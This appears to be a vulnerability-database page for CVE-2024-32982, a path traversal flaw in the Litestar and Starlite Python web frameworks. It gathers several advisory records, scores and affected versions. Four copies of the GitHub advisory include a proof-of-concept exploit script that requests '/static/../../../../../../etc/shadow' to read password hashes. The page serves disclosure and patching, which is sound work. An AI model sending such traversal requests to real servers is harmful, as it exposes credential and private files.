Every CVE Search/ Get API key

CVE-2024-32982

Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

8.2 HighFix available

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.72%Up 0.7 points since May 7, 2024
90%50%10%1%

What each source reports

CVE List Score used 8.2

Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Record
CVE-2024-32982
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2024-1511 8.2

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Record
EUVD-2024-1511
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-83pv-qr33-2vcf 8.2

Litestar and Starlite vulnerable to Path Traversal

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

  1. Set up the environment:

    • Install with pip the uvicorn and litestar packages.
    • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
    • Ensure the static file serving is enabled, which is typically the default configuration.
  2. Preparation of the testing environment:

    • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
    • Create a main.py file with the following content to configure and run the LiteStar server:
    from pathlib import Path
    from litestar import Litestar
    from litestar.static_files import create_static_files_router
    import uvicorn
    
    app = Litestar(
        route_handlers=[
            create_static_files_router(path="/static", directories=["static"]),
        ],
    )
    
    if __name__ == "__main__":
        uvicorn.run("main:app", host="0.0.0.0", port=8000)
    
    • Run this script with the command python3 main.py to start the server.
  3. Exploit:

    • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:
    import http.client
    
    def send_request(host, port, path):
        connection = http.client.HTTPConnection(host, port)
        connection.request("GET", path)
        response = connection.getresponse()
        print(f"Status: {response.status}")
        print(f"Headers: {response.getheaders()}")
        data = response.read()
        print(f"Body: {data.decode('utf-8')}")
        connection.close()
    
    send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
    
    • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
  4. Observe:

    • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
    • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Record
GHSA-83pv-qr33-2vcf
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 8.2

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Record
CVE-2024-32982
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 8.2

Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Record
CVE-2024-32982
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-83pv-qr33-2vcf 8.2

Litestar and Starlite vulnerable to Path Traversal

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

  1. Set up the environment:

    • Install with pip the uvicorn and litestar packages.
    • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
    • Ensure the static file serving is enabled, which is typically the default configuration.
  2. Preparation of the testing environment:

    • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
    • Create a main.py file with the following content to configure and run the LiteStar server:
    from pathlib import Path
    from litestar import Litestar
    from litestar.static_files import create_static_files_router
    import uvicorn
    
    app = Litestar(
        route_handlers=[
            create_static_files_router(path="/static", directories=["static"]),
        ],
    )
    
    if __name__ == "__main__":
        uvicorn.run("main:app", host="0.0.0.0", port=8000)
    
    • Run this script with the command python3 main.py to start the server.
  3. Exploit:

    • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:
    import http.client
    
    def send_request(host, port, path):
        connection = http.client.HTTPConnection(host, port)
        connection.request("GET", path)
        response = connection.getresponse()
        print(f"Status: {response.status}")
        print(f"Headers: {response.getheaders()}")
        data = response.read()
        print(f"Body: {data.decode('utf-8')}")
        connection.close()
    
    send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
    
    • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
  4. Observe:

    • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
    • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Record
GHSA-83pv-qr33-2vcf
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-1552 8.2

Litestar and Starlite vulnerable to Path Traversal

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

  1. Set up the environment:

    • Install with pip the uvicorn and litestar packages.
    • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
    • Ensure the static file serving is enabled, which is typically the default configuration.
  2. Preparation of the testing environment:

    • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
    • Create a main.py file with the following content to configure and run the LiteStar server:
    from pathlib import Path
    from litestar import Litestar
    from litestar.static_files import create_static_files_router
    import uvicorn
    
    app = Litestar(
        route_handlers=[
            create_static_files_router(path="/static", directories=["static"]),
        ],
    )
    
    if __name__ == "__main__":
        uvicorn.run("main:app", host="0.0.0.0", port=8000)
    
    • Run this script with the command python3 main.py to start the server.
  3. Exploit:

    • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:
    import http.client
    
    def send_request(host, port, path):
        connection = http.client.HTTPConnection(host, port)
        connection.request("GET", path)
        response = connection.getresponse()
        print(f"Status: {response.status}")
        print(f"Headers: {response.getheaders()}")
        data = response.read()
        print(f"Body: {data.decode('utf-8')}")
        connection.close()
    
    send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
    
    • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
  4. Observe:

    • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
    • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Record
PYSEC-2026-1552
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
OSVPYSEC-2026-2605 8.2

Litestar and Starlite vulnerable to Path Traversal

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

  1. Set up the environment:

    • Install with pip the uvicorn and litestar packages.
    • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
    • Ensure the static file serving is enabled, which is typically the default configuration.
  2. Preparation of the testing environment:

    • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
    • Create a main.py file with the following content to configure and run the LiteStar server:
    from pathlib import Path
    from litestar import Litestar
    from litestar.static_files import create_static_files_router
    import uvicorn
    
    app = Litestar(
        route_handlers=[
            create_static_files_router(path="/static", directories=["static"]),
        ],
    )
    
    if __name__ == "__main__":
        uvicorn.run("main:app", host="0.0.0.0", port=8000)
    
    • Run this script with the command python3 main.py to start the server.
  3. Exploit:

    • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:
    import http.client
    
    def send_request(host, port, path):
        connection = http.client.HTTPConnection(host, port)
        connection.request("GET", path)
        response = connection.getresponse()
        print(f"Status: {response.status}")
        print(f"Headers: {response.getheaders()}")
        data = response.read()
        print(f"Body: {data.decode('utf-8')}")
        connection.close()
    
    send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
    
    • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
  4. Observe:

    • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
    • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Record
PYSEC-2026-2605
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
litestar
PyPI
2.8.0 up to 2.8.3
2.8.3
litestar
PyPI
2.7.0 up to 2.7.2
2.7.2
litestar
PyPI
2.0.0 up to 2.6.4
2.6.4
starlite
PyPI
1.37.0 up to 1.51.16
1.51.16
litestar
PyPI
2.8.0 up to 2.8.3, plus listed versions
2.8.12.8.2
2.8.3
starlite
PyPI
1.37.0 up to 1.51.16, plus listed versions
1.38.01.39.01.40.01.40.11.41.0
Show 30 moreShow less
1.42.01.43.01.43.11.44.01.45.01.45.11.46.01.47.01.48.01.48.11.49.01.50.01.50.11.50.21.51.01.51.11.51.101.51.111.51.121.51.131.51.141.51.151.51.21.51.31.51.41.51.51.51.61.51.71.51.81.51.9
1.51.16
litestar
PyPI
2.7.0 up to 2.7.2, plus listed versions
2.7.1
2.7.2
litestar
PyPI
2.0.0 up to 2.6.4, plus listed versions
2.0.12.1.02.1.12.2.02.2.1
Show 19 moreShow less
2.3.02.3.12.3.22.4.02.4.12.4.22.4.32.4.42.4.52.5.02.5.12.5.22.5.32.5.42.5.52.6.02.6.12.6.22.6.3
2.6.4
litestar
PyPI
2.0.0 up to 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.3, plus listed versions
2.0.12.1.02.1.12.2.02.2.1
Show 22 moreShow less
2.3.02.3.12.3.22.4.02.4.12.4.22.4.32.4.42.4.52.5.02.5.12.5.22.5.32.5.42.5.52.6.02.6.12.6.22.6.32.7.12.8.12.8.2
2.6.42.7.22.8.3

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-32982 is a high vulnerability (CVSS 8.2) in Litestar-org Litestar, published May 6, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.72%, the 54th percentile. Fixed in litestar 2.8.3.

References

This page doesn't list everything

Left out here: the rest of 4 source descriptions. The JSON record has them.

MoveEnter Open